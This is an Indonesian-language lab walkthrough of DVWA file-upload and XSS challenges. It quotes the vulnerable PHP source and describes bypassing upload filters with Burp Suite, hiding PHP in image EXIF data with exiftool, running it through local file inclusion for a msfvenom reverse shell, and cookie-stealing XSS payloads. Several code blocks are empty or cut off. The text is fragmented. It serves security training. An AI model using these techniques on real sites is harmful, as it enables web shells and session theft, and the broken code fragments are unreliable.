Di bawah ini adalah *source-code* dari *file upload* level medium di DVWA.
```php
vulnerabilities/upload/source/medium.php
Your image was not uploaded.';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.'; } } ?> ``` ## Mencari Informasi Jika kita melakukan hal yang sama seperti sebelumnya (meng-upload file ekstensi `.php`), maka akan muncul penolakan seperti berikut:  Ini karena pada level ini terdapat validasi terlebih dahulu, hanya ekstensi `JPEG` dan `PNG` saja yang diizinkan. ## Melakukan Serangan Setelah mencoba berbagai cara, akhirnya saya menemukan cara untuk mem-*bypass*-nya, yaitu dengan menggunakan Burpsuite. **Pertama**, ubah nama **shell.php** yang sebelumnya kita buat menjadi **shell.php.png**. **Kedua**, lakukan upload dan *intercept* *request* yang kita lakukan menggunakan Burpsuite.  Dan rubah `filename` nya menjadi **shell.php**.  Setelah itu matikan *intercept*-nya agar request terkirim, dan file tersebut akan berhasil di-upload ke server.  Selanjutnya kita bisa menjalankan shell tersebut seperti sebelumnya. Happy Hacking! 🍻 # High File Upload level High on DVWA Di bawah ini adalah *source-code* dari *file upload* level high di DVWA. ```php vulnerabilities/upload/source/high.php Your image was not uploaded.'; } else { // Yes! echo "
{$target_path} succesfully uploaded!";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.'; } } ?> ``` ## Mencari Informasi Kali ini terdapat tambahan fungsi [`getimagesize()`](https://www.geeksforgeeks.org/php-getimagesize-function/) pada validasi yang digunakan untuk memastikan bahwa file yang di-upload user memang lah gambar. Menurut sepengetahuan saya saat ini, kali ini kita tidak bisa mem-*bypass* file *non-image* lagi. Setelah berhari-hari mencari solusi, akhirnya saya menemukan jawabannya, yaitu dengan menyisipkan *script* PHP ke dalam EXIF data dari file gambar. Lalu gambar tersebut di-upload ke server target, dan selanjutnya *script* tersebut dijalankan melalui celah *local file inclusion*. ## Melakukan Serangan **Pertama-tama**, siapkan gambar apa pun lalu sisipkan *script* menggunakan [EXIFTOOL](https://exiftool.org/) seperti berikut: ``` exiftool -DocumentName="" kucing.jpg ``` Hasilnya, *script* tersebut telah tersimpan di *header* `Document Name` pada file gambar:  Jika kita mencoba menjalan *script* tersebut melalui PHP CLI, maka akan tampil seperti berikut:  Oke mantap! Selanjutnya, upload file tersebut lalu akses file tersebut melalui celah *local file inclusion*, dan hasilnya akan seperti berikut:  Terlihat fungsi [`phpinfo()`](https://www.php.net/manual/en/function.phpinfo.php) berhasil dijalankan. Dan selanjutnya kita akan mencoba melakukan *reverse shell* seperti pada level sebelumnya. ### Melakukan Backconnect Pertama-tama, buat shell menggunakan msfvenom seperti pada level sebelumnya. Selanjutnya kita sisipkan shell tersebut ke dalam EXIF data gambar, seperti berikut: ```bash exiftool -DocumentName=' ## Bagaimana Cara Menutup Celah Ini? Beberapa cara yang biasa digunakan adalah: 1. Validasi Data. 2. Memberi filter pada karakter yang di-inputkan pengguna. 3. Escaping. # Reflected Reflected XSS terjadi ketika skrip berbahaya dipantulkan dari web aplikasi ke browser korban. # Low XSS (Reflected) level Low on DVWA Di bawah ini adalah *source-code* dari XSS (Reflected) level low di DVWA. ```php vulnerabilities/xss_r/source/low.php Hello ' . $_GET[ 'name' ] . ''; } ?> ``` ## Mencari Informasi Pada halaman web tersebut tedapat form yang bisa kita *submit*. Jika kita mengisi nilai *"test<'>"*, maka akan muncul seperti berikut:  Form tersebut menggunakan method `GET` dan jika kita *view source*, maka akan terlihat seperti berikut:  Dari hasil di atas bisa kita simpulkan bahwa tidak ada validasi atau *encoding* untuk karakter `<`, `'`, dan `>`, sehingga kita bisa dengan mudah menyisipkan *script* XSS. ## Melakukan Serangan Karena inputan ini akan langsung menghasilkan output ke halaman web (HTML), maka kita akan coba menyisipkan *script* dengan *payload* seperti berikut: ```markup ```  Dan *script* berhasil berjalan. Kenapa ini terjadi? Karena *script* yang kita sisipkan langsung ditampilkan oleh website tersebut. Untuk lebih memahaminya bisa kita lihat menggunakan *view source*.  Gimana? Mudahkan?😁 Kita juga bisa mendapatkan *cookie* dengan *payload* seperti berikut: ``` ```  Happy Hacking! 🍻 # Medium XSS (Reflected) level Medium on DVWA Di bawah ini adalah *source-code* dari XSS (Reflected) level medium di DVWA. ```php vulnerabilities/xss_r/source/medium.php ', '', $_GET[ 'name' ] ); // Feedback for end user echo "
Hello ${name}";
}
?>
```
## Mencari Informasi
Pada level ini terdapat validasi untuk menghilangkan tag `
```
Untuk mengatasi ini kita harus mencari cara untuk menjalankan JavaScript pada web tanpa menggunakan tag `
```
Dan berhasil!😊
Jika dilihat menggunakan *view source*, maka akan terlihat seperti berikut:
Seperti biasa kita juga bisa mengambil *cookie* dengan *payload* berikut:
```php
```
Yup! Jika halaman ini di-*refresh*, maka *payload* tersebut akan dijalankan lagi karena sekarang *payload* tersimpan (*stored*) pada halaman web tersebut.
Happy Hacking! 🍻
# Medium
XSS (Stored) level Medium on DVWA
Di bawah ini adalah *source-code* dari XSS (Stored) level medium di DVWA.
```php
vulnerabilities/xss_s/source/medium.php
', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); //mysql_close(); } ?> ``` ## Mencari Informasi Setelah saya coba-coba dan melihat *source code* pada form **Name**, tag ` ``` Kita sisipkan menjadi link seperti berikut: ```markup http://172.17.0.2/vulnerabilities/xss_d/?default= ```  Dan BOOM! *Script* tersebut tampil! Pada *"kejahatan yang sebenarnya"* peretas akan mengirim link XSS tersebut ke victim untuk menjalankan *script* yang telah ia buat. Kita jika bisa mendapatkan *cookie* dengan *payload* berikut ini: ```markup ```  Jika kalian melihat *view source* , maka kalian tidak akan menemukan *script* tersebut.  Ini karena *script* tersebut menjadi *Document Object Model* bukan menjadi halaman HTML. Ini lah yang membuatnya sulit untuk dideteksi. Gimana sampai saat ini sudah mengerti tentang DOM-based XSS? Cukup mudahkan? Coba kita lanjut ke tahap selanjutnya. Happy Hacking!🍻 # Medium XSS (DOM) level Medium on DVWA Di bawah ini adalah *source-code* dari XSS (DOM) level medium di DVWA. ```php vulnerabilities/xss_d/source/medium.php ``` ## Mencari Informasi Secara visual tidak ada perbedaan pada level ini dan sebelumnya. Jika kita mengubah nilai dari parameter tersebut, maka akan tampil seperti sebelumnya.  Perhatikan pada *source code* baris ke-8, bahwa terdapat validasi jika mengandung kata *"\